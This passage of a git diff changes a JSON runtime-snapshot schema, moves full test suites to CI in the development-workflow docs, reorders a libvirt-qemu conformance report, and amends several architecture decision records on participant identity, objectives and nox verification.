0, - "title": "Time Segment", - "type": "integer" + "submitted_at": { + "$ref": "#/$defs/TimeCoordinateModel" } }, "required": [ - "namespace", - "policy_address", + "binding", "participant_address", - "time_segment", - "occurrence_ordinal", - "draw_purpose", - "local_coordinate" - ], - "title": "ParticipantStreamAddressModel", - "type": "object", - "x-raes-invariants": [ - { - "description": "draw_purpose must be governed and policy_address/participant_address must be compiled autonomous participant addresses.", - "id": "participant-random-stream-address-governed", - "inputs": [ - { - "contract_id": "controlled-vocabularies-v1", - "instance_path": "#" - } - ], - "level": "error", - "validator": "raes_contracts.contracts.random_stream.ParticipantStreamAddressModel._validate_address" - } - ] - }, - "ParticipantTemporalEventPoint": { - "description": "Named participant event points used by temporal contracts.", - "enum": [ - "submit", - "start", - "end", - "observed", - "effective", - "deadline", - "window_open", - "window_close", - "reset", - "replay" + "episode_id", + "action_instance_id", + "execution_scope_ref", + "execution_generation", + "submitted_at", + "clock_sequence", + "bound_end" ], - "title": "ParticipantTemporalEventPoint", - "type": "string" + "title": "ParticipantTemporalExecutionContextModel", + "type": "object" }, "ParticipantTemporalRuntimeContextModel": { "additionalProperties": false, @@ -9736,6 +11713,17 @@ "default": null, "title": "Reset Boundary" }, + "shared_time": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantTemporalExecutionContextModel" + }, + { + "type": "null" + } + ], + "default": null + }, "temporal_contract_id": { "minLength": 1, "title": "Temporal Contract Id", @@ -11767,11 +13755,36 @@ "title": "Joint Action Records", "type": "object" }, + "materialization_attestations": { + "items": { + "$ref": "#/$defs/MaterializationArchiveRecord" + }, + "maxItems": 4096, + "title": "Materialization Attestations", + "type": "array" + }, "metadata": { "additionalProperties": true, "title": "Metadata", "type": "object" }, + "mixed_composition_history": { + "additionalProperties": { + "items": { + "$ref": "#/$defs/MixedCompositionRuntimeEventModel" + }, + "type": "array" + }, + "title": "Mixed Composition History", + "type": "object" + }, + "mixed_composition_states": { + "additionalProperties": { + "$ref": "#/$defs/MixedCompositionRuntimeStateModel" + }, + "title": "Mixed Composition States", + "type": "object" + }, "orchestration_history": { "additionalProperties": { "items": { @@ -11806,6 +13819,17 @@ "title": "Participant Behavior History", "type": "object" }, + "participant_control_evaluation_history": { + "additionalProperties": { + "items": { + "additionalProperties": true, + "type": "object" + }, + "type": "array" + }, + "title": "Participant Control Evaluation History", + "type": "object" + }, "participant_control_history": { "additionalProperties": { "items": { @@ -11861,6 +13885,16 @@ "title": "Participant Execution Services", "type": "object" }, + "participant_outcome_history": { + "additionalProperties": { + "items": { + "$ref": "#/$defs/ParticipantOutcomeReportV2Model" + }, + "type": "array" + }, + "title": "Participant Outcome History", + "type": "object" + }, "participant_resource_budget_events": { "additionalProperties": { "$ref": "#/$defs/ParticipantResourceBudgetEventModel" @@ -11958,6 +13992,32 @@ }, "title": "RuntimeSnapshotEnvelopeModel", "type": "object", + "x-raes-invariants": [ + { + "description": "Deadline bindings require event evidence; dwell requires continuous coverage of a nonempty interval, a condition and an observation boundary. Bounds are segment-relative and the selected event is declared.", + "id": "participant-shared-time-binding-shape", + "inputs": [ + { + "contract_id": "runtime-snapshot-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.participant_temporal.ParticipantTemporalBindingModel" + }, + { + "description": "Temporal contexts must remain identical across an attempt; terminal assessments must match their evidence and authoritative clock history. Every proof must match an exact bound context and observation boundary, without duplicates or extra proofs.", + "id": "participant-shared-time-history-consistency", + "inputs": [ + { + "contract_id": "runtime-snapshot-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.participant_temporal.require_participant_temporal_history" + } + ], "x-raes-semantic-profile": { "contract_id": "runtime-snapshot-v1", "entry_schema_contract_id": "raes-semantic-invariants-v1", diff --git a/docs/DEVELOPMENT_WORKFLOW.md b/docs/DEVELOPMENT_WORKFLOW.md index 138e77902..9216e32e1 100644 --- a/docs/DEVELOPMENT_WORKFLOW.md +++ b/docs/DEVELOPMENT_WORKFLOW.md @@ -11,17 +11,24 @@ From the repository root: uv sync --project implementations/python --all-extras --frozen ``` +An optional [development container](explain/development-container.md) performs +this setup for you on Linux x86_64. That page labels each start route verified +or unverified. It cannot run the proof lane; continuous integration does. + ## Run verification -The full pull-request gate is: +Full test suites run in CI/CD only. Its full pull-request gate is: ```shell uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s verify ``` -Use `verify-changed` while you work. It selects a fail-closed subset from the -branch diff. Unknown, source, deleted, renamed, contract, and configuration -changes run the full graph. +Use `verify-fast-feedback` (also the default nox session) or `verify-changed` +while you work. These run changed-file checks and directly changed test modules. +Source, deleted, renamed, contract, configuration and unknown changes never +trigger a full local suite. Select additional relevant pytest modules or cases +explicitly when a changed test module does not cover the changed behavior. +`verify-completion` uses the same targeted path; full completion runs in CI/CD. The docs session checks the curated source boundary, the RAES Vale style, warning-strict Sphinx HTML, generated route and search inventories, and links: @@ -45,6 +52,40 @@ Run the repository policy session after changing a cross-package import: uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s policy ``` +## Continuous integration graph + +The pull-request gate runs through `.github/workflows/ci.yml`, which calls the +reusable `.github/workflows/canonical-verification.yml`. That reusable graph is +the single exact-SHA full gate for pull requests, protected branches, and +release verification. + +Inside the reusable graph the default-marker test suite is split across four +deterministic concurrent shards (`test-shard`, indices 0-3), so a full run +finishes sooner than a single 5,000-plus-test job. Each shard owns a SHA-256 +partition of the collected pytest node ids (`tools/pytest_shard.py`); there is no +per-module shard table. Alongside the shards, the `integration`, `checks` +(hygiene, policy, lint, contracts, docs), and `proof` jobs run in parallel. The +`coverage-reduce` job then proves the shard manifests form a complete, disjoint +partition of a freshly collected suite, combines shard and integration coverage, +and enforces the 90% line floor (ADR-103). SonarCloud runs inside the same graph +as soon as the combined coverage is ready. The caller preserves the required +`verify` and `sonar` check contexts as decoupled joins: a red quality gate no +longer blocks the test gate, and vice versa. + +The advisory `fast-feedback` job gives early static/lint/policy and directly +changed-test signal on pull requests. It is never a merge gate; the full-suite +shards remain authoritative. + +To reproduce a failure locally, select its reported module or test case: + +```shell +uv run --project implementations/python --frozen pytest implementations/python/tests/test_runtime_models.py -q +``` + +Measure feedback latency for a cohort of runs with +`python tools/ci_latency_report.py` (median and p95 time to first failure and to +final required-check completion, computed from native GitHub timestamps). + ## Release model Release Please owns `CHANGELOG.md`, package versions, GitHub releases, and the diff --git a/docs/README.md b/docs/README.md index c2cfd006a..506ecde23 100644 --- a/docs/README.md +++ b/docs/README.md @@ -21,6 +21,7 @@ working records that remain visible in the repository. - [Research records](research/) - [Modular participant-control architecture and delivery graph](research/modular-participant-control/index.md) - [Issue 1198 language extensibility design review](research/language-extensibility/design-review.md) +- [Issue 215 participant identity and actor/target audit](research/participant-identity/audit.md) - [Clarified design intent: open scopes and backend responsibility](research/language-extensibility/design-intent.md) - [Migration records](migration/README.md) - [Lessons](lessons/README.md) diff --git a/docs/conformance/libvirt-qemu.provisioning-only.report.json b/docs/conformance/libvirt-qemu.provisioning-only.report.json index 2ff7b0824..dc84d657b 100644 --- a/docs/conformance/libvirt-qemu.provisioning-only.report.json +++ b/docs/conformance/libvirt-qemu.provisioning-only.report.json @@ -1,323 +1,337 @@ { - "profile": "provisioning-only", - "passed": false, "cases": [ { - "name": "feature-support-bounded", "contract_name": "backend-manifest-v2", - "valid": true, + "diagnostic_codes": [], + "name": "feature-support-bounded", "passed": true, - "diagnostic_codes": [] + "valid": true }, { - "name": "stub", "contract_name": "backend-manifest-v2", - "valid": true, + "diagnostic_codes": [], + "name": "stub", "passed": true, - "diagnostic_codes": [] + "valid": true }, { - "name": "duplicate-binding-scope", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "duplicate-binding-scope", + "passed": true, + "valid": false }, { - "name": "empty-compatibility", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "empty-compatibility", + "passed": true, + "valid": false }, { - "name": "feature-support-duplicate-feature", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "feature-support-duplicate-feature", + "passed": true, + "valid": false }, { - "name": "feature-support-missing-disclosure", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "feature-support-missing-disclosure", + "passed": true, + "valid": false }, { - "name": "feature-support-unguarded-feature-term", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "feature-support-unguarded-feature-term", + "passed": true, + "valid": false }, { - "name": "feature-support-unsupported-declared-feature", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "feature-support-unsupported-declared-feature", + "passed": true, + "valid": false }, { - "name": "hollow-provisioner", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "hollow-provisioner", + "passed": true, + "valid": false }, { - "name": "hollow-realization-support", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "hollow-realization-support", + "passed": true, + "valid": false }, { - "name": "invalid-binding-family", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "invalid-binding-family", + "passed": true, + "valid": false }, { - "name": "malformed-compatibility", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "malformed-compatibility", + "passed": true, + "valid": false }, { - "name": "malformed-realization-support", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "malformed-realization-support", + "passed": true, + "valid": false }, { - "name": "missing-concept-bindings", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "missing-concept-bindings", + "passed": true, + "valid": false }, { - "name": "missing-version", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "missing-version", + "passed": true, + "valid": false }, { - "name": "non-backend-contract-version", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "non-backend-contract-version", + "passed": true, + "valid": false }, { - "name": "non-processor-compatibility-surface", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "non-processor-compatibility-surface", + "passed": true, + "valid": false }, { - "name": "unknown-workflow-feature", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "unknown-workflow-feature", + "passed": true, + "valid": false }, { - "name": "unknown-workflow-state-predicate", "contract_name": "backend-manifest-v2", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "unknown-workflow-state-predicate", + "passed": true, + "valid": false }, { - "name": "accepted", "contract_name": "operation-receipt-v1", - "valid": true, + "diagnostic_codes": [], + "name": "accepted", "passed": true, - "diagnostic_codes": [] + "valid": true }, { - "name": "missing-context", "contract_name": "operation-receipt-v1", - "valid": false, + "diagnostic_codes": [], + "name": "indeterminate-resolution", "passed": true, + "valid": true + }, + { + "contract_name": "operation-receipt-v1", "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "missing-context", + "passed": true, + "valid": false }, { - "name": "missing-id", "contract_name": "operation-receipt-v1", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "missing-id", + "passed": true, + "valid": false }, { - "name": "indeterminate", "contract_name": "operation-status-v1", - "valid": true, + "diagnostic_codes": [], + "name": "indeterminate-resolution", "passed": true, - "diagnostic_codes": [] + "valid": true }, { - "name": "succeeded", "contract_name": "operation-status-v1", - "valid": true, + "diagnostic_codes": [], + "name": "indeterminate", "passed": true, - "diagnostic_codes": [] + "valid": true }, { - "name": "duplicate-terminal-diagnostic", "contract_name": "operation-status-v1", - "valid": false, + "diagnostic_codes": [], + "name": "succeeded", "passed": true, + "valid": true + }, + { + "contract_name": "operation-status-v1", "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "duplicate-terminal-diagnostic", + "passed": true, + "valid": false }, { - "name": "missing-terminal-diagnostic", "contract_name": "operation-status-v1", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "missing-terminal-diagnostic", + "passed": true, + "valid": false }, { - "name": "unknown-extra", "contract_name": "operation-status-v1", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "unknown-extra", + "passed": true, + "valid": false }, { - "name": "unknown-state", "contract_name": "operation-status-v1", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "unknown-state", + "passed": true, + "valid": false }, { - "name": "realization-provenance", "contract_name": "runtime-snapshot-v1", - "valid": true, + "diagnostic_codes": [], + "name": "realization-provenance", "passed": true, - "diagnostic_codes": [] + "valid": true }, { - "name": "reference", "contract_name": "runtime-snapshot-v1", - "valid": true, + "diagnostic_codes": [], + "name": "reference", "passed": true, - "diagnostic_codes": [] + "valid": true }, { - "name": "realization-observation-missing-strength", "contract_name": "runtime-snapshot-v1", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "realization-observation-missing-strength", + "passed": true, + "valid": false }, { - "name": "realization-provenance-missing-provenance", "contract_name": "runtime-snapshot-v1", - "valid": false, - "passed": true, "diagnostic_codes": [ "conformance.schema-invalid" - ] + ], + "name": "realization-provenance-missing-provenance", + "passed": true, + "valid": false }, { - "name": "workflow-extra-step", "contract_name": "runtime-snapshot-v1", - "valid": false, - "passed": true, "diagnostic_codes": [ "runtime.backend-contract-invalid" - ] + ], + "name": "workflow-extra-step", + "passed": true, + "valid": false }, { - "name": "target-manifest", "contract_name": "backend-manifest-v2", - "valid": true, + "diagnostic_codes": [], + "name": "target-manifest", "passed": true, - "diagnostic_codes": [] + "valid": true }, { - "name": "target-provisioning", "contract_name": "operation-status-v1", - "valid": true, + "diagnostic_codes": [], + "name": "target-provisioning", "passed": true, - "diagnostic_codes": [] + "valid": true }, { - "name": "target-snapshot", "contract_name": "runtime-snapshot-v1", - "valid": true, + "diagnostic_codes": [], + "name": "target-snapshot", "passed": true, - "diagnostic_codes": [] + "valid": true }, { - "name": "realization-envelope-constructive", "contract_name": "realization-envelope-v1", - "valid": true, - "passed": false, "diagnostic_codes": [ "realization-envelope.negative-probe.no-witness", "realization-envelope.positive-probe.no-witness" - ] + ], + "name": "realization-envelope-constructive", + "passed": false, + "valid": true } ], - "unsupported_contract_gaps": [], + "diagnostic_codes": [], + "passed": false, + "profile": "provisioning-only", "unsupported_capability_gaps": [], - "diagnostic_codes": [] + "unsupported_contract_gaps": [] } diff --git a/docs/decisions/adrs/README.md b/docs/decisions/adrs/README.md index d8f9f2f39..a3e18a7d6 100644 --- a/docs/decisions/adrs/README.md +++ b/docs/decisions/adrs/README.md @@ -145,10 +145,19 @@ adr-098-portable-artifact-requirement-satisfaction adr-099-participant-relative-predicate-opacity adr-100-participant-crossing-bisimulation adr-101-adversarial-participant-flow-control +adr-102-mixed-cross-backend-participant-control +adr-103-branch-aware-python-coverage-policy +adr-104-runtime-control-plane-architecture adr-105-recursive-partial-description-semantics adr-106-developer-package-and-artifact-management adr-107-artifact-promotion-and-release-admission adr-108-modular-participant-control-and-governed-effects +adr-109-participant-identity-and-objective-assignment +adr-110-reusable-mixed-control-policies-and-occurrences +adr-111-control-applicability-and-effect-decisions +adr-112-external-inject-triggering-and-execution +adr-113-reusable-execution-machinery +adr-114-ifc-profile-variability-and-publication ``` | ADR | Title | Status | Date | @@ -261,3 +270,9 @@ adr-108-modular-participant-control-and-governed-effects | [106](adr-106-developer-package-and-artifact-management.md) | Developer Package and Artifact Management | accepted | 2026-09-05 | | [107](adr-107-artifact-promotion-and-release-admission.md) | Artifact Promotion and Release Admission | accepted | 2026-09-05 | | [108](adr-108-modular-participant-control-and-governed-effects.md) | Modular Participant Control and Governed Effects | accepted | 2026-09-06 | +| [109](adr-109-participant-identity-and-objective-assignment.md) | Participant Identity, Affiliation, and Objective Assignment | accepted | 2026-09-21 | +| [110](adr-110-reusable-mixed-control-policies-and-occurrences.md) | Reusable Mixed-Control Policies and Occurrences | accepted | 2026-09-22 | +| [111](adr-111-control-applicability-and-effect-decisions.md) | Control Applicability and Effect Decisions | accepted | 2026-09-22 | +| [112](adr-112-external-inject-triggering-and-execution.md) | External Inject Triggering and Execution | accepted | 2026-09-22 | +| [113](adr-113-reusable-execution-machinery.md) | Reusable Execution Machinery Under RAE Authority | accepted | 2026-09-23 | +| [114](adr-114-ifc-profile-variability-and-publication.md) | IFC Profile Variability and Publication | accepted | 2026-09-23 | diff --git a/docs/decisions/adrs/adr-002-declarative-sdl-objectives.md b/docs/decisions/adrs/adr-002-declarative-sdl-objectives.md index 42b5a7c2d..c6a1a3547 100644 --- a/docs/decisions/adrs/adr-002-declarative-sdl-objectives.md +++ b/docs/decisions/adrs/adr-002-declarative-sdl-objectives.md @@ -39,8 +39,10 @@ Add a first-class `objectives` section to the SDL for declarative experiment sem Each objective may declare: -- exactly one actor: `agent` or `entity` -- optional `actions` +- optional organizational `owner` and optional `assigned_participant`, with + at least one required and both permitted (ADR-109) +- optional `actions` referencing declared action contracts; assigned objectives + additionally constrain actions to their participant's declared action set - optional `targets` - required `success` criteria composing declared invariant or postcondition assertions over backend-neutral propositions (ADR-079) @@ -49,7 +51,7 @@ Each objective may declare: This section is intentionally declarative. It expresses: -- who is acting +- who owns the objective and which participant, if any, is assigned to pursue it - what they are trying to affect - when the objective matters - how success should be interpreted @@ -60,8 +62,10 @@ objective meaning. Legacy `conditions` carry probe implementation mechanics; they are not propositions and cannot be referenced as objective success. It also does **not** identify the concrete participant implementation that will -realize an authored `agent` or `entity` role in a given run. That remains a -separate apparatus and provenance concern. +realize an authored participant role in a given run. Ownership without +assignment remains organizational intent, not runtime work. Neither relation +identifies the actor of an observed event, grants authority, or identifies a +beneficiary. Realization remains a separate apparatus and provenance concern. ### Relationship to ADR-001 @@ -74,7 +78,7 @@ This ADR refines ADR-001's SDL boundary by making declarative objectives part of - The SDL now captures experiment meaning more completely, not just topology and scoring fragments. - Agent definitions, orchestration, scoring, and objectives can be authored and reviewed together in one specification surface. - The runtime boundary is cleaner: the SDL defines semantics, while runtime adapters define how those semantics are checked. -- Authored actor/target/success meaning remains distinct from concrete +- Authored owner/assignment/target/success meaning remains distinct from concrete participant implementations and apparatus choices. - Objective dependencies can be validated structurally as an acyclic ordering graph. @@ -99,3 +103,4 @@ This ADR refines ADR-001's SDL boundary by making declarative objectives part of |------|-----------|---------| | 2026-07-05 | #682 | Per [ADR-073](adr-073-scoring-reward-language-scope.md), narrowed the objective-success clause: `objectives.success` references observable state (`conditions`) only. The OCR scoring pipeline (`metrics` / `evaluations` / `tlos` / `goals`) this ADR preserved was removed from the SDL; graded scoring and reward now live in the experiment/evaluator plane (ADR-055/064/069). | | 2026-07-12 | #725 | Per [ADR-079](adr-079-backend-neutral-proposition-and-truth-semantics.md), corrected the condition/proposition conflation: objective success now composes invariant or postcondition assertions over typed propositions; executable conditions are probe realizations only. | +| 2026-09-21 | #1338 | Per [ADR-109](adr-109-participant-identity-and-objective-assignment.md), replace exclusive actor binding with independent organizational ownership and participant assignment; require declared action contracts and preserve realized-attribution boundaries. | diff --git a/docs/decisions/adrs/adr-014-nox-as-canonical-verification-graph.md b/docs/decisions/adrs/adr-014-nox-as-canonical-verification-graph.md index 403285fee..d9f9bc886 100644 --- a/docs/decisions/adrs/adr-014-nox-as-canonical-verification-graph.md +++ b/docs/decisions/adrs/adr-014-nox-as-canonical-verification-graph.md @@ -17,12 +17,11 @@ secret scanning (gitleaks), formatter/linter (ruff), file-hygiene gates (trailing whitespace, EOF newline, large-file detection, merge-conflict markers, private-key detection), Sphinx documentation builds, and property-based fuzz tests. Each gate has its own native invocation. The -same gates need to run in three places: +gates need shared implementations with different scopes in three places: 1. **Local pre-commit hooks** — fast, scoped to staged files. -2. **Local pre-push hooks** — slower, full-repo validation before push. -3. **CI (`ci.yml`)** — the same set as pre-push, plus coverage upload - and SonarCloud. +2. **Local pre-push hooks** — targeted feedback for changed files and tests. +3. **CI (`ci.yml`)** — full regression, coverage upload, and SonarCloud. Before this ADR, the only mechanism to keep these three invocations in agreement was discipline: hand-maintained command lists in @@ -58,21 +57,26 @@ sessions are: - `policy` — Conftest self-verify, repo policy, requirement governance - `lint` — ruff format + check, project and tooling - `contracts` — generated-schema drift, JSON-artifact validation -- `tests` — pytest with coverage -- `fuzz` — pytest with `-m fuzz` +- `tests` — full pytest with coverage, CI/CD only +- `fuzz` — full pytest with `-m fuzz`, CI/CD only - `python-compatibility` — exact-interpreter tests plus clean distribution build, installation, import, and CLI checks for one supported CPython release - `docs` — sphinx-build (added by AUT-805) -- `verify` — composes hygiene + policy + lint + contracts + tests + docs +- `verify` — full hygiene + policy + lint + contracts + tests + docs, CI/CD only - `hook-pre-commit` — staged-file hygiene + policy + scoped lint + - conditional contracts + directly changed test modules (the full regression - sweep remains mandatory at pre-push and completion) -- `hook-pre-push` — full hygiene + policy + lint + contracts + tests + - fuzz + conditional contracts + directly changed test modules +- `verify-fast-feedback` — local default: hygiene + policy + changed-file lint + + directly changed test modules; advisory, not the merge gate +- `verify-changed`, `hook-pre-push`, and `verify-completion` — the same targeted + feedback path, with no fallback to full test suites -`verify` is the canonical single-interpreter "passed locally" state. CI invokes +`verify` is the canonical single-interpreter full CI gate. CI invokes `nox -s verify`; the pre-push hook invokes `nox -s hook-pre-push`; the -pre-commit hook invokes `nox -s hook-pre-commit`. CI additionally invokes +pre-commit hook invokes `nox -s hook-pre-commit`. Local verification uses +explicit affected test modules or cases only. Missing targeted selection means +recording that limitation and deferring full testing to CI/CD, never launching +the full suite locally. This applies to implementation, review repair, +synchronization, and completion. CI additionally invokes `python-compatibility` once for every supported CPython feature release because a single local interpreter cannot establish the distribution's cross-version support claim. All invocations resolve through the same per-gate helpers (`_run_hygiene`, @@ -81,8 +85,9 @@ support claim. All invocations resolve through the same per-gate helpers (`_run_ Ground Control invokes pre-commit against the staged set. It does not add `--all-files`: that flag expands the hook input to every repository path, -defeats staged change classification, and duplicates the full regression work -that the pre-push and completion boundaries already run. +defeats staged change classification, and expands the local hygiene boundary +unnecessarily. Full regression remains required in CI/CD before merge; passing +targeted local checks does not establish that result. ### 2. `.pre-commit-config.yaml` is a thin trigger layer, not a parallel definition @@ -113,15 +118,15 @@ exposes: ```yaml workflow: - test_command: nox -s verify # full canonical gate - completion_command: nox -s verify + test_command: nox -s verify-fast-feedback # targeted local feedback + completion_command: nox -s verify-fast-feedback lint_command: nox -s lint format_command: nox -s hygiene ``` -The `/implement` skill consumes those values verbatim; ground-control -agents and CI agree on what "verified" means by reading the same -`.ground-control.yaml`. +The `/implement` skill consumes those values verbatim. Local completion means +targeted feedback is complete, not that the full CI gate passed. Ground Control +must separately observe required CI and Sonar results before PR readiness. ### 4. Per-session venvs via uv @@ -164,14 +169,13 @@ that pins the uv version we use elsewhere. Selected. ### Positive -- A single source of truth: a failure on a contributor's machine - reproduces in CI verbatim, and vice versa. +- A single source of truth for each gate: local feedback and full CI reuse the + same helpers, while explicitly reporting their different verification scopes. - The verification surface is discoverable via `nox -l`; new contributors do not have to search across YAML files to learn what "verified" requires. -- Pre-commit and CI cannot drift apart on what a "passed" state - means, because both invocations resolve through the same `_run_*` - helpers. +- Local success cannot be mistaken for full regression success: the former is + targeted feedback, while CI/CD owns full-suite completion and merge gating. - Adding a new gate changes one canonical graph: its session registration stays in `noxfile.py`, while its implementation and composition are each defined once in `tools/nox_support/`. CI and pre-commit pick it up automatically @@ -187,6 +191,8 @@ that pins the uv version we use elsewhere. Selected. and by the principle that the names describe what they verify (`hygiene`, `policy`, `lint`, `contracts`, `tests`, `fuzz`, `docs`, `verify`). +- Targeted local feedback can miss regressions outside the selected modules; + required full CI suites, not a local full-suite fallback, cover that risk. - nox session startup is not free. Mitigated by `nox.options.reuse_existing_virtualenvs = True` and by the uv-backed install path, which is fast on a warm cache. @@ -222,8 +228,12 @@ pre-commit-driven gate; `pulsar` is a pnpm monorepo and uses pnpm workspaces; `shifter` has no top-level runner and documents its absence). nox is the right answer for this repository specifically because the verification surface is broad, polyglot at the gate level -(Python + OPA + gitleaks + Sphinx), and consumed identically from -local hooks, CI, and ground-control automation. +(Python + OPA + gitleaks + Sphinx), and shared by local hooks, CI, and +ground-control automation with explicit targeted-local/full-CI scopes. + +The #1348 amendment supersedes the local full-regression obligations recorded +by #963 and the local `verify` recommendation in #1134. Their entries below +remain historical records, not current instructions to run full suites locally. ## Amendments @@ -232,3 +242,4 @@ local hooks, CI, and ground-control automation. | 2026-07-31 | #963 | Replaced the serial `verify` composition with six isolated, CPU-budgeted concurrent nox lanes, primed shared policy tooling before cold-cache lanes, batched JSON artifacts by shared schema with bounded concurrency, combined unit and integration coverage deterministically, scoped pre-commit to staged changes and directly changed tests without duplicating the mandatory full pre-push/completion regression, and separated network-dependent external-link validation into dedicated docs CI. Ground Control's completion half omits policy because its mechanically enforced policy half runs immediately afterward; direct `verify` and CI retain policy. | | 2026-08-14 | #1134 | Added a required CI matrix that runs the canonical `python-compatibility` session for each supported CPython feature release while retaining `verify` as the reproducible single-interpreter local gate. | | 2026-09-03 | #1164 | Split private nox configuration, runner, lane, and graph helpers into the acyclic `tools/nox_support/` package while retaining root `noxfile.py` as the sole public session registry, preserving one canonical graph, and keeping both surfaces in coverage and static analysis. | +| 2026-09-22 | #1348 | Restricted local defaults, pre-push, changed verification, and completion to targeted feedback; reserved full test suites for CI/CD, superseding earlier local full-regression obligations while preserving required CI and Sonar gates. | diff --git a/docs/decisions/adrs/adr-020-declarative-participant-framing-boundaries.md b/docs/decisions/adrs/adr-020-declarative-participant-framing-boundaries.md index ee120e84d..7f6a21ae0 100644 --- a/docs/decisions/adrs/adr-020-declarative-participant-framing-boundaries.md +++ b/docs/decisions/adrs/adr-020-declarative-participant-framing-boundaries.md @@ -45,12 +45,15 @@ request shape, backend manifest metadata, or participant episode state. The language-level model must keep these concerns distinct: -- **Identity**: the participant's authored scenario identity or alignment, - anchored to declared `entities` and the shared `identities` concept family. - This is not an OS account username, API caller identity, or apparatus name. -- **Role**: the participant's scenario role or exercise alignment. Reuse - `entities.role` and related authored role structure where that is sufficient; - do not confuse it with node-local login role mappings. +- **Identity**: the `agents` declaration key identifies one author-designated + autonomous subject, possibly composite, independently of organizational + affiliation. This is not an OS account username, API caller identity, or + apparatus name. No measured autonomy threshold or component inventory is + required (ADR-109). +- **Role**: the participant's explicit exercise role, or the entity role from + exactly one affiliation when no direct role is supplied. Zero or multiple + affiliations imply no inherited role. Do not confuse role with node-local + login mappings or authority. - **Starting conditions**: declared initial state, access, knowledge, or precondition references. Reuse `starting_accounts`, `initial_knowledge`, `conditions`, and named SDL references rather than embedding executable @@ -113,10 +116,10 @@ identifiers, not variables. The ACT-601 implementation pins the following authoring shape on `agents.*`: -- identity — `entity` (existing) anchored to the declared `entities` - hierarchy. -- role — `entities..role` (existing) reached through the - participant's `entity` binding. +- identity — the `agents` map key; optional `affiliations` reference distinct + declared entities without defining identity or implying assignment. +- role — optional participant `role`, overriding the role inherited from + exactly one affiliation. All consumers use the same resolver (ADR-109). - starting conditions — `starting_conditions` (new), a list of bare or qualified references into the scenario's `conditions` section. Combined with the existing `starting_accounts` and `initial_knowledge`. @@ -128,8 +131,10 @@ The ACT-601 implementation pins the following authoring shape on `agents.*`: `content` items. The legacy `allowed_subnets` field stays restricted to switch-backed infrastructure. -Each new field accepts `${var}` placeholders, defaults to an empty list, -and is rejected when undeclared by the parser's closed-world model. The +Relation-list fields accept `${var}` elements and default to an empty list; +the optional role accepts a whole-field variable and defaults to absent. +Participant identity keys are never variables. Unknown fields are rejected by +the parser's closed-world model. The generated SDL JSON Schema and `docs/explain/sdl/sections.md` carry the field names; the `agents` section heading remains the publishing surface. @@ -177,3 +182,4 @@ field names; the `agents` section heading remains the publishing surface. | Date | Commit/PR | Summary | |------|-----------|---------| | 2026-06-13 | #484 | Recorded acceptance of the implemented participant framing authoring surface. | +| 2026-09-21 | #1338 | Per [ADR-109](adr-109-participant-identity-and-objective-assignment.md), separate declaration identity from optional affiliations and give effective role one direct-first, single-affiliation fallback rule. | diff --git a/docs/decisions/adrs/adr-026-application-http-surface-inventory.md b/docs/decisions/adrs/adr-026-application-http-surface-inventory.md index 8e060a0fa..ccd0b787e 100644 --- a/docs/decisions/adrs/adr-026-application-http-surface-inventory.md +++ b/docs/decisions/adrs/adr-026-application-http-surface-inventory.md @@ -232,3 +232,36 @@ schema elsewhere. - Overfitting to Flask would make the ACES surface poor at representing other HTTP applications, API gateways, reverse proxies, or scanner-observed surfaces. + +## Amendments + +| Date | Commit/PR | Summary | +|------|-----------|---------| +| 2026-09-18 | #1298 | Separated extensible case-sensitive HTTP wire-method identity from controlled vocabularies while retaining legacy built-in aliases and execution boundaries. | + +### HTTP method identity + +Issue #1298 corrects the original closed nine-method interpretation. RFC HTTP +method identity is an extensible, case-sensitive wire token. It is therefore +owned by `RuntimeApplicationRoute.methods` and its published SDL schema, not by +the RAES 